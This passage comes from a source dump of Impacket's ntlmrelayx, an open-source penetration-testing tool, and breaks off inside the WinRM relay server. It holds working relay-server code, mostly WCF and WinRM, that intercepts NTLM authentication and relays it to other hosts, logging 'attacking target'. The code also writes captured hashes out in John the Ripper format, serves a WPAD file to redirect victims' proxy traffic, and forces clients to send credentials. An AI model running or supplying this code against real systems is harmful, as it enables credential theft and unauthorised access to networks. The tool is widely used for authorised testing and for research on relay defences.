self.__socksServer.socksPlugins[scheme]))\n            relay = self.__socksServer.socksPlugins[scheme](self.targetHost, self.targetPort, self.__connSocket,\n                                  self.__socksServer.activeRelays[self.targetHost][self.targetPort])\n\n            try:\n                relay.initConnection()\n\n                # Let's answer back saying we've got the connection. Data is fake\n                if self.__socksVersion == 5:\n                    reply = SOCKS5_REPLY()\n                    reply['REP'] = replyField.SUCCEEDED.value\n                    addr, port = self.__connSocket.getsockname()\n                    reply['PAYLOAD'] = socket.inet_aton(addr) + pack('>H', port)\n                else:\n                    reply = SOCKS4_REPLY()\n\n                self.__connSocket.sendall(reply.getData())\n\n                if relay.skipAuthentication() is not True:\n                    # Something didn't go right\n                    # Close the socket\n                    self.__connSocket.close()\n                    return\n\n                # Ok, so we have a valid connection to play with. Let's lock it while we use it so the Timer doesn't send a\n                # keep alive to this one.\n                self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username]['inUse'] = True\n\n                relay.tunnelConnection()\n            except Exception as e:\n                LOG.debug(\"Exception:\", exc_info=True)\n                LOG.debug('SOCKS: %s' % str(e))\n                if str(e).find('Broken pipe') >= 0 or str(e).find('reset by peer') >=0 or \\\n                                str(e).find('Invalid argument') >= 0:\n                    # Connection died, taking out of the active list\n                    del(self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username])\n                    if len(list(self.__socksServer.activeRelays[self.targetHost][self.targetPort].keys())) == 1:\n                        del(self.__socksServer.activeRelays[self.targetHost][self.targetPort])\n                    LOG.debug('Removing active relay for %s@%s:%s' % (relay.username, self.targetHost, self.targetPort))\n                    self.sendReplyError(replyField.CONNECTION_REFUSED)\n                    return\n                pass\n\n            # Freeing up this connection\n            if relay.username is not None:\n                self.__socksServer.activeRelays[self.targetHost][self.targetPort][relay.username]['inUse'] = False\n        else:\n            LOG.error('SOCKS: I don\\'t have a handler for this port')\n\n        LOG.debug('SOCKS: Shutting down connection')\n        try:\n            self.sendReplyError(replyField.CONNECTION_REFUSED)\n        except Exception as e:\n            LOG.debug('SOCKS END: %s' % str(e))\n\n\nclass SOCKS(socketserver.ThreadingMixIn, socketserver.TCPServer):\n    def __init__(self, server_address=('127.0.0.1', 1080), handler_class=SocksRequestHandler, api_port=9090):\n        LOG.info('SOCKS proxy started. Listening on %s:%d', server_address[0], server_address[1])\n\n        self.activeRelays = {}\n        self.socksPlugins = {}\n        self.restAPI = None\n        self.activeConnectionsWatcher = None\n        self.supportedSchemes = []\n        socketserver.TCPServer.allow_reuse_address = True\n        socketserver.TCPServer.__init__(self, server_address, handler_class)\n\n        # Let's register the socksplugins plugins we have\n        from impacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS\n\n        for relay in SOCKS_RELAYS:\n            LOG.info('%s loaded..' % relay.PLUGIN_NAME)\n            self.socksPlugins[relay.PLUGIN_SCHEME] = relay\n            self.supportedSchemes.append(relay.PLUGIN_SCHEME)\n\n        # Let's create a timer to keep the connections up.\n        self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self)\n\n        # Let's start our RESTful API\n        self.restAPI = Thread(target=webService(server_address[0], api_port), args=(self, ))\n        self.restAPI.daemon = True\n        self.restAPI.start()\n\n        # Let's start out worker for active connections\n        self.activeConnectionsWatcher = Thread(target=activeConnectionsWatcher, args=(self, ))\n        self.activeConnectionsWatcher.daemon = True\n        self.activeConnectionsWatcher.start()\n\n    def shutdown(self):\n        self.__timer.stop()\n        del self.restAPI\n        del self.activeConnectionsWatcher\n        return socketserver.TCPServer.shutdown(self)\n\nif __name__ == '__main__':\n    from impacket.examples import logger\n    logger.init()\n    s = SOCKS()\n    s.serve_forever()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/wcfrelayserver.py",
    "content": "# -*- coding: utf-8 -*-\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   WCF Relay Server\n#\n#   This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols\n#   Only NetTcpBinding is supported!\n#\n# Author:\n#   Clément Notin (@cnotin)\n#   With code copied from smbrelayserver.py and httprelayserver.py authored by:\n#     Alberto Solino (@agsolino)\n#     Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\n# References:\n#   To support NetTcpBinding, this implements the \".NET Message Framing Protocol\" [MC-NMF] and\n#   \".NET NegotiateStream Protocol\" [MS-NNS]\n#   Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py\n#   and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re\n#\n\nimport socket\nimport socketserver\nimport struct\nfrom binascii import hexlify\nfrom threading import Thread\n\nfrom six import PY2\n\nfrom impacket import ntlm, LOG\nfrom impacket.examples.ntlmrelayx.servers.socksserver import activeConnections\nfrom impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor\nfrom impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS\nfrom impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.spnego import SPNEGO_NegTokenInit, ASN1_AID, SPNEGO_NegTokenResp, TypesMech, MechTypes, \\\n    ASN1_SUPPORTED_MECH\nfrom impacket.examples.utils import get_address\n\n\nclass WCFRelayServer(Thread):\n    class WCFServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\n        def __init__(self, server_address, request_handler_class, config):\n            self.config = config\n            self.daemon_threads = True\n            self.address_family, server_address = get_address(server_address[0], server_address[1], self.config.ipv6)\n            self.wpad_counters = {}\n            socketserver.TCPServer.allow_reuse_address = True\n            socketserver.TCPServer.__init__(self, server_address, request_handler_class)\n\n    class WCFHandler(socketserver.BaseRequestHandler):\n        def __init__(self, request, client_address, server):\n            self.server = server\n            self.challengeMessage = None\n            self.target = None\n            self.client = None\n            self.machineAccount = None\n            self.machineHashes = None\n            self.domainIp = None\n            self.authUser = None\n\n            if self.server.config.target is None:\n                # Reflection mode, defaults to SMB at the target, for now\n                self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])\n            self.target = self.server.config.target.getTarget()\n            if self.target is None:\n                LOG.info(\"(WCF): Received connection from %s, but there are no more targets left!\" % client_address[0])\n                return\n            LOG.info(\"(WCF): Received connection from %s, attacking target %s://%s\" % (\n                client_address[0], self.target.scheme, self.target.netloc))\n\n            socketserver.BaseRequestHandler.__init__(self, request, client_address, server)\n\n        # recv from socket for exact 'length' (even if fragmented over several packets)\n        def recvall(self, length):\n            buf = b''\n            while not len(buf) == length:\n                buf += self.request.recv(length - len(buf))\n\n            if PY2:\n                buf = bytearray(buf)\n            return buf\n\n        def handle(self):\n            version_code = self.recvall(1)\n            if version_code != b'\\x00':\n                LOG.error(\"(WCF): wrong VersionRecord code\")\n                return\n            version = self.recvall(2)  # should be \\x01\\x00 but we don't care\n            if version != b'\\x01\\x00':\n                LOG.error(\"(WCF): wrong VersionRecord version\")\n                return\n\n            mode_code = self.recvall(1)\n            if mode_code != b'\\x01':\n                LOG.error(\"(WCF): wrong ModeRecord code\")\n                return\n            mode = self.recvall(1)  # we don't care\n\n            via_code = self.recvall(1)\n            if via_code != b'\\x02':\n                LOG.error(\"(WCF): wrong ViaRecord code\")\n                return\n            via_len = self.recvall(1)\n            via_len = struct.unpack(\"B\", via_len)[0]\n            via = self.recvall(via_len).decode(\"utf-8\")\n\n            if not via.startswith(\"net.tcp://\"):\n                LOG.error(\"(WCF): the Via URL '\" + via + \"' does not start with 'net.tcp://'. \"\n                                                       \"Only NetTcpBinding is currently supported!\")\n                return\n\n            known_encoding_code = self.recvall(1)\n            if known_encoding_code != b'\\x03':\n                LOG.error(\"(WCF): wrong KnownEncodingRecord code\")\n                return\n            encoding = self.recvall(1)  # we don't care\n\n            upgrade_code = self.recvall(1)\n            if upgrade_code != b'\\x09':\n                LOG.error(\"(WCF): wrong UpgradeRequestRecord code\")\n                return\n            upgrade_len = self.recvall(1)\n            upgrade_len = struct.unpack(\"B\", upgrade_len)[0]\n            upgrade = self.recvall(upgrade_len).decode(\"utf-8\")\n\n            if upgrade != \"application/negotiate\":\n                LOG.error(\"(WCF): upgrade '\" + upgrade + \"' is not 'application/negotiate'. Only Negotiate is supported!\")\n                return\n            self.request.sendall(b'\\x0a')\n\n            while True:\n                handshake_in_progress = self.recvall(5)\n                if not handshake_in_progress[0] == 0x16:\n                    LOG.error(\"(WCF): Wrong handshake_in_progress message\")\n                    return\n\n                securityBlob_len = struct.unpack(\">H\", handshake_in_progress[3:5])[0]\n                securityBlob = self.recvall(securityBlob_len)\n\n                rawNTLM = False\n                if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:\n                    # SPNEGO NEGOTIATE packet\n                    blob = SPNEGO_NegTokenInit(securityBlob)\n                    token = blob['MechToken']\n                    if len(blob['MechTypes'][0]) > 0:\n                        # Is this GSSAPI NTLM or something else we don't support?\n                        mechType = blob['MechTypes'][0]\n                        if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']:\n                            # Nope, do we know it?\n                            if mechType in MechTypes:\n                                mechStr = MechTypes[mechType]\n                            else:\n                                mechStr = hexlify(mechType)\n                            LOG.debug(\"(WCF): Unsupported MechType '%s'\" % mechStr)\n                            # We don't know the token, we answer back again saying\n                            # we just support NTLM.\n                            respToken = SPNEGO_NegTokenResp()\n                            respToken['NegState'] = b'\\x03'  # request-mic\n                            respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n                            respToken = respToken.getData()\n\n                            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b\n                            answer = b'\\x16'  # handshake_in_progress\n                            answer += b'\\x01\\x00'  # version\n                            answer += struct.pack(\">H\", len(respToken))  # len\n                            answer += respToken\n\n                            self.request.sendall(answer)\n\n                elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:\n                    # SPNEGO AUTH packet\n                    blob = SPNEGO_NegTokenResp(securityBlob)\n                    token = blob['ResponseToken']\n                    break\n                else:\n                    # No GSSAPI stuff, raw NTLMSSP\n                    rawNTLM = True\n                    token = securityBlob\n                    break\n\n            if not token.startswith(b\"NTLMSSP\\0\\1\"):  # NTLMSSP_NEGOTIATE: message type 1\n                LOG.error(\"(WCF): Wrong NTLMSSP_NEGOTIATE message\")\n                return\n\n            if not self.do_ntlm_negotiate(token):\n                # Connection failed\n                LOG.error('(WCF): Negotiating NTLM with %s://%s failed. Skipping to next target',\n                          self.target.scheme, self.target.netloc)\n                self.server.config.target.registerTarget(self.target)\n                return\n\n            # Calculate auth\n            ntlmssp_challenge = self.challengeMessage.getData()\n\n            if not rawNTLM:\n                # add SPNEGO wrapping\n                respToken = SPNEGO_NegTokenResp()\n                # accept-incomplete. We want more data\n                respToken['NegState'] = b'\\x01'\n                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']\n\n                respToken['ResponseToken'] = ntlmssp_challenge\n                ntlmssp_challenge = respToken.getData()\n\n            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b\n            handshake_in_progress = b\"\\x16\\x01\\x00\" + struct.pack(\">H\", len(ntlmssp_challenge))\n            self.request.sendall(handshake_in_progress)\n            self.request.sendall(ntlmssp_challenge)\n\n            handshake_done = self.recvall(5)\n\n            if handshake_done[0] == 0x15:\n                error_len = struct.unpack(\">H\", handshake_done[3:5])[0]\n                error_msg = self.recvall(error_len)\n                hresult = hex(struct.unpack('>I', error_msg[4:8])[0])\n                LOG.error(\"(WCF): Received handshake_error message: \" + hresult)\n                return\n\n            ntlmssp_auth_len = struct.unpack(\">H\", handshake_done[3:5])[0]\n            ntlmssp_auth = self.recvall(ntlmssp_auth_len)\n\n            if not rawNTLM:\n                # remove SPNEGO wrapping\n                blob = SPNEGO_NegTokenResp(ntlmssp_auth)\n                ntlmssp_auth = blob['ResponseToken']\n\n            if not ntlmssp_auth.startswith(b\"NTLMSSP\\0\\3\"):  # NTLMSSP_AUTH: message type 3\n                LOG.error(\"(WCF): Wrong NTLMSSP_AUTH message\")\n                return\n\n            authenticateMessage = ntlm.NTLMAuthChallengeResponse()\n            authenticateMessage.fromString(ntlmssp_auth)\n\n            if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage):\n                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                    LOG.error(\"(WCF): Authenticating against %s://%s as %s\\\\%s FAILED\" % (\n                        self.target.scheme, self.target.netloc,\n                        authenticateMessage['domain_name'].decode('utf-16le'),\n                        authenticateMessage['user_name'].decode('utf-16le')))\n                else:\n                    LOG.error(\"(WCF): Authenticating against %s://%s as %s\\\\%s FAILED\" % (\n                        self.target.scheme, self.target.netloc,\n                        authenticateMessage['domain_name'].decode('ascii'),\n                        authenticateMessage['user_name'].decode('ascii')))\n                return\n\n            # Relay worked, do whatever we want here...\n            self.client.setClientId()\n            if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:\n                LOG.info(\"(WCF): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]\" % (\n                    authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'),\n                    self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n            else:\n                LOG.info(\"(WCF): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]\" % (\n                    authenticateMessage['domain_name'].decode('ascii'), authenticateMessage['user_name'].decode('ascii'),\n                    self.client_address[0], self.target.scheme, self.target.netloc, self.client.client_id))\n\n            ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],\n                                                authenticateMessage['user_name'],\n                                                authenticateMessage['domain_name'],\n                                                authenticateMessage['lanman'], authenticateMessage['ntlm'])\n            self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data\n\n            if self.server.config.dumpHashes is True:\n                LOG.info(\"(WCF): %s\" % ntlm_hash_data['hash_string'])\n\n            if self.server.config.outputFile is not None:\n                writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],\n                                      self.server.config.outputFile)\n\n            self.server.config.target.registerTarget(self.target, True, self.authUser)\n\n            self.do_attack()\n\n        def do_ntlm_negotiate(self, token):\n            if self.target.scheme.upper() in self.server.config.protocolClients:\n                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config,\n                                                                                             self.target)\n                # If connection failed, return\n                if not self.client.initConnection():\n                    return False\n                self.challengeMessage = self.client.sendNegotiate(token)\n\n                # Remove target NetBIOS field from the NTLMSSP_CHALLENGE\n                if self.server.config.remove_target:\n                    av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])\n                    del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]\n                    self.challengeMessage['TargetInfoFields'] = av_pairs.getData()\n                    self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())\n                    self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())\n\n                # Check for errors\n                if self.challengeMessage is False:\n                    return False\n            else:\n                LOG.error('(WCF): Protocol Client for %s not found!' % self.target.scheme.upper())\n                return False\n\n            return True\n\n        def do_ntlm_auth(self, token, authenticateMessage):\n            # For some attacks it is important to know the authenticated username, so we store it\n            self.authUser = authenticateMessage.getUserString()\n\n            if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':\n                clientResponse, errorCode = self.client.sendAuth(token)\n            else:\n                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except\n                # when coming from localhost\n                errorCode = STATUS_ACCESS_DENIED\n\n            if errorCode == STATUS_SUCCESS:\n                return True\n\n            return False\n\n        def do_attack(self):\n            # Check if SOCKS is enabled and if we support the target scheme\n            if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:\n                # Pass all the data to the socksplugins proxy\n                activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),\n                                       self.authUser, self.client, self.client.sessionData))\n                return\n\n            # If SOCKS is not enabled, or not supported for this scheme, fall back to \"classic\" attacks\n            if self.target.scheme.upper() in self.server.config.attacks:\n                # We have an attack.. go for it\n                clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config,\n                                                                                      self.client.session,\n                                                                                      self.authUser,\n                                                                                      self.target,\n                                                                                      self.client)\n                clientThread.start()\n            else:\n                LOG.error('(WCF): No attack configured for %s' % self.target.scheme.upper())\n\n    def __init__(self, config):\n        Thread.__init__(self)\n        self.daemon = True\n        self.config = config\n        self.server = None\n\n    def run(self):\n        if self.config.listeningPort:\n            wcfport = self.config.listeningPort\n        else:\n            wcfport = 9389  # ADWS\n\n        LOG.info(\"Setting up WCF Server on port %s\" % wcfport)\n\n        # changed to read from the interfaceIP set in the configuration\n        self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config)\n\n        try:\n            self.server.serve_forever()\n        except KeyboardInterrupt:\n            pass\n        LOG.info('Shutting down WCF Server')\n        self.server.server_close()\n"
  },
  {
    "path": "impacket/examples/ntlmrelayx/servers/winrmrelayserver.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright (C) 2022 Fortra. All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   WinRM (HTTP) Relay Server\n#\n#   This is the WinRM (HTTP) server which relays the NTLMSSP  messages to other protocols\n#\n# Authors:\n#   Joe Mondloch (jmk@foofus.net)\n#   Aurélien Chalot (@Defte_)\n\nimport http.server\nimport socketserver\nimport socket\nimport base64\nimport random\nimport struct\nimport string\nfrom threading import Thread\nfrom six import PY2, b\n\nfrom impacket import ntlm, LOG\nfrom impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile\nfrom impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS\nfrom impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor\nfrom impacket.examples.ntlmrelayx.servers.socksserver import activeConnections\nfrom impacket.examples.utils import get_address\n\nclass WinRMRelayServer(Thread):\n\n    class HTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):\n        def __init__(self, server_address, RequestHandlerClass, config):\n            self.config = config\n            self.daemon_threads = True\n            self.address_family, server_address = get_address(server_address[0], server_address[1], self.config.ipv6)\n            # Tracks the number of times authentication was prompted for WPAD per client\n            self.wpad_counters = {}\n            socketserver.TCPServer.allow_reuse_address = True\n            socketserver.TCPServer.__init__(self,server_address, RequestHandlerClass)\n\n    class HTTPHandler(http.server.SimpleHTTPRequestHandler):\n        def __init__(self,request, client_address, server):\n            self.server_version = 'Microsoft-HTTPAPI/2.0'\n            self.sys_version = ''\n            self.server = server\n            self.protocol_version = 'HTTP/1.1'\n            self.challengeMessage = None\n            self.target = None\n            self.client = None\n            self.machineAccount = None\n            self.machineHashes = None\n            self.domainIp = None\n            self.authUser = None\n            self.relayToHost = False\n            self.isFirstNeg = True\n            self.negotiation_count = 0 \n            self.wpad = 'function FindProxyForURL(url, host){if ((host == \"localhost\") || shExpMatch(host, \"localhost.*\") ||' \\\n                        '(host == \"127.0.0.1\")) return \"DIRECT\"; if (dnsDomainIs(host, \"%s\")) return \"DIRECT\"; ' \\\n                        'return \"PROXY %s:80; DIRECT\";} '\n            if self.server.config.mode != 'REDIRECT':\n                if self.server.config.target is None:\n                    # Reflection mode, defaults to SMB at the target, for now\n                    self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])\n            try:\n                http.server.SimpleHTTPRequestHandler.__init__(self,request, client_address, server)\n            except Exception as e:\n                LOG.debug(\"(WinRM): Exception:\", exc_info=True)\n                LOG.error(\"(WinRM): %s\" % str(e))\n\n        def handle_one_request(self):\n            try:\n                http.server.SimpleHTTPRequestHandler.handle_one_request(self)\n            except KeyboardInterrupt:\n                raise\n            except Exception as e:\n                LOG.debug(\"(WinRM): Exception:\", exc_info=True)\n\n        def log_message(self, format, *args):\n            return\n\n        def send_error(self, code, message=None):\n            if message.find('RPC_OUT') >=0 or message.find('RPC_IN'):\n                LOG.info('(WinRM): send_error path: %s' % self.path.lower())\n                return self.do_GET()\n            return http.server.SimpleHTTPRequestHandler.send_error(self,code,message)\n\n        def send_not_found(self):\n            self.send_response(404)\n            self.send_header('WWW-Authenticate', 'Negotiate')\n            self.send_header('Content-type', 'text/html')\n            self.send_header('Content-Length', '0')\n            self.send_header('Connection', 'close')\n            self.end_headers()\n\n        def send_multi_status(self, content):\n            self.send_response(207, \"Multi-Status\")\n            self.send_header('Content-Type', 'application/xml')\n            self.send_header('Content-Length', str(len(content)))\n            self.send_header('Connection', 'close')\n            self.end_headers()\n            self.wfile.write(content)\n\n        def serve_wpad(self):\n            wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host)\n            self.send_response(200)\n            self.send_header('Content-type', 'application/x-ns-proxy-autoconfig')\n            self.send_header('Content-Length',len(wpadResponse))\n            self.end_headers()\n            self.wfile.write(b(wpadResponse))\n            return\n\n        def should_serve_wpad(self, client):\n            # If the client was already prompted for authentication, see how many times this happened\n            try:\n                num = self.server.wpad_counters[client]\n            except KeyError:\n                num = 0\n            self.server.wpad_counters[client] = num + 1\n            # Serve WPAD if we passed the authentication offer threshold\n            if num >= self.server.config.wpad_auth_num:\n                return True\n            else:\n                return False\n\n        def serve_image(self):\n            with open(self.server.config.serve_image, 'rb') as imgFile:\n                imgFile_data = imgFile.read()\n                self.send_response(200, \"OK\")\n                self.send_header('Content-type', 'image/jpeg')\n                self.send_header('Content-Length', str(len(imgFile_data)))\n                self.end_headers()\n                self.wfile.write(imgFile_data)\n\n        def strip_blob(self, proxy):\n            token = messageType = None\n            if PY2:\n                if proxy:\n                    proxyAuthHeader = self.headers.getheader('Proxy-Authorization')\n                else:\n                    autorizationHeader = self.headers.getheader('Authorization')\n            else:\n                if proxy:\n                    proxyAuthHeader = self.headers.get('Proxy-Authorization')\n                else:\n                    autorizationHeader = self.headers.get('Authorization')\n\n            if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):\n                self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)\n                messageType = 0\n                token = None\n            else:\n                if proxy:\n                    typeX = proxyAuthHeader\n                else:\n                    typeX = autorizationHeader\n                try:\n                    try:\n                        _, blob = typeX.split('NTLM')\n                    # Not using NTLM but Negotiate\n                    except ValueError:\n                        _, blob = typeX.split('Negotiate')\n                    token = base64.b64decode(blob.strip())\n                except Exception:\n                    LOG.debug(\"(WinRM): Exception:\", exc_info=True)\n                    self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)\n                else:\n                    messageType = struct.unpack('<L',token[len('NTLMSSP\\x00'):len('NTLMSSP\\x00')+4])[0]\n            return token, messageType\n\n        def do_HEAD(self):\n            self.send_response(200)\n            self.send_header('Content-type', 'text/html')\n            self.end_headers()\n\n        def do_OPTIONS(self):\n            self.send_response(200)\n            self.send_header('Allow',\n                             'GET, HEAD, POST, PUT, DELETE, OPTIONS, PROPFIND, PROPPATCH, MKCOL, LOCK, UNLOCK, MOVE, COPY')\n            self.send_header('Content-Length', '0')\n            self.send_header('Connection', 'close')\n            self.end_headers()\n            return\n\n        def do_PROPFIND(self):\n            proxy = False\n            if (\".jpg\" in self.path) or (\".JPG\" in self.path):\n                content = b\"\"\"<?xml version=\"1.0\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://webdavrelay/file/image.JPG/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>image.JPG</D:displayname><D:getcontentlength>4456</D:getcontentlength><D:getcontenttype>image/jpeg</D:getcontenttype><D:getetag>4ebabfcee4364434dacb043986abfffe</D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>\"\"\"\n            else:\n                content = b\"\"\"<?xml version=\"1.0\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://webdavrelay/file/</D:href><D:propstat><D:prop><D:creationdate>2016-11-12T22:00:22Z</D:creationdate><D:displayname>a</D:displayname><D:getcontentlength></D:getcontentlength><D:getcontenttype></D:getcontenttype><D:getetag></D:getetag><D:getlastmodified>Mon, 20 Mar 2017 00:00:22 GMT</D:getlastmodified><D:resourcetype><D:collection></D:collection></D:resourcetype><D:supportedlock></D:supportedlock><D:ishidden>0</D:ishidden></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>\"\"\"\n\n            token, messageType = self.strip_blob(proxy)\n\n            # Should we relay or -in locally?\n            if self.relayToHost is False and not self.server.config.disableMulti:\n                self.do_local_auth(messageType, token, proxy)\n                return\n            else:\n                # We can start the relay process\n                self.do_relay(messageType, token, proxy, content)\n\n        def do_AUTHHEAD(self, message = b'', proxy=False):\n            if proxy:\n                self.send_response(407)\n                self.send_header('Proxy-Authenticate', message.decode('utf-8'))\n            else:\n                self.send_response(401)\n                self.send_header('WWW-Authenticate', message.decode('utf-8'))\n            self.send_header('Content-type', 'text/html')\n            self.send_header('Content-Length','0')\n            self.send_header('Connection', 'keep-alive')\n            self.end_headers()\n\n        #Trickery to relay the victim to all the targets we want\n        def do_REDIRECT(self, proxy=False):\n            rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))\n            self.send_response(307)\n            if proxy:\n                self.send_header('Proxy-Authenticate', 'NTLM')\n            else:\n                self.send_header('WWW-Authenticate', 'Negotiate')\n            self.send_header('Content-type', 'text/html')\n            self.send_header('Connection','keep-alive')\n            self.send_header('Location','/%s' % rstr)\n            self.send_header('Content-Length','0')\n            self.end_headers()\n\n        def do_SMBREDIRECT(self):\n            self.send_response(302)\n            self.send_header('Content-type', 'text/html')\n            self.send_header('Location','file://%s' % self.server.config.redirecthost)\n            self.send_header('Content-Length','0')\n            self.send_header('Connection','close')\n            self.end_headers()\n\n        def do_GET(self):\n            return self.do_GETPOST()\n\n        def do_POST(self):\n            wsmanidentify = self.headers.get('WSMANIDENTIFY') # Test-WSMan without error\n            if wsmanidentify == 'unauthenticated':\n                LOG.info(\"HTTP: WS-Management request, sending 200 OK\")\n                self.send_response(200)\n                self.send_header('WWW-Authenticate', 'Negotiate')\n                self.send_header('Content-type', 'text/html')\n                self.send_header('Content-Length','0')\n                self.send_header('Connection','keep-alive')\n                self.end_headers()\n                return\n            return self.do_GETPOST()\n\n        def do_CONNECT(self):\n            # Client is using our server as a Proxy\n            proxy = True\n            token, messageType = self.strip_blob(proxy)\n\n            # We can't do the multirelay trick so we just relay the connection\n            self.do_relay(messageType, token, proxy)\n            return\n\n        def do_GETPOST(self):\n\n            if self.command == 'POST' and \"/wsman\" in self.path.lower():\n                content_length = int(self.headers.get('Content-Length', 0))\n                self.rfile.read(content_length)\n            else:\n                LOG.info('(WinRM): Client requested path: %s' % self.path.lower())\n                self.send_not_found()\n                return\n\n            # Determine if the user is connecting to our server directly or attempts to use it as a proxy\n            if len(self.path) > 4 and self.path[:4].lower() == 'http':\n                proxy = True\n            else:\n                proxy = False\n\n            token, messageType = self.strip_blob(proxy)\n\n            # Should we relay or log-in locally?\n            if self.relayToHost is False and not self.server.config.disableMulti:\n                self.do_local_auth(messageType, token, proxy)\n                return\n            else:\n                self.do_relay(messageType, token, proxy)\n\n            return\n\n        def do_ntlm_negotiate(self, token, proxy):\n            if self.target.scheme.upper() in self.server.config.protocolClients:\n                self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config, self.target)\n                # If connection failed, return\n                if not self.client.initConnection():\n                    return False\n\n                if self.negotiation_count > 1:\n                  return False \n\n                self.negotiation_count += 1\n\n                self.challengeMessage = self.client.sendNegotiate(token)\n\n                # Remove target NetBIOS field from the NTLMSSP_CHALLENGE\n                if self.server.config.remove_target:\n                    av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])\n                    del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]\n                    self.challengeMessage['TargetInfoFields'] = av_pairs.getData()\n                    self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())\n                    self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())\n\n                # Check for errors\n                if self.challengeMessage is False:\n                    return False\n            else:\n                LOG.error('(WinRM): Protocol Client for %s not found!' % self.target.scheme.upper())\n                return False\n\n            # Calculate auth\n            self.do_AUTHHEAD(message = b'Negotiate '+base64.b64encode(self.challengeMessage.getData()), proxy=proxy)\n            return True\n\n        def do_ntlm_auth(self,token,authenticateMessage):\n            if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':\n                clientResponse, errorCode = self.client.sendAuth(token)\n            else:\n                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except\n                # when coming from localhost\n                errorCode = STATUS_ACCESS_DENIED\n\n            if errorCode == STATUS_SUCCESS:\n                return True\n\n            return False\n\n        def do_local_auth(self, messageType, token, proxy):\n            if messageType == 1:\n                negotiateMessage = ntlm.NTLMAuthNegotiate()\n                negotiateMessage.fromString(token)\n                ansFlags = 0\n\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:\n                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56\n                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:\n                    ansFlags |= 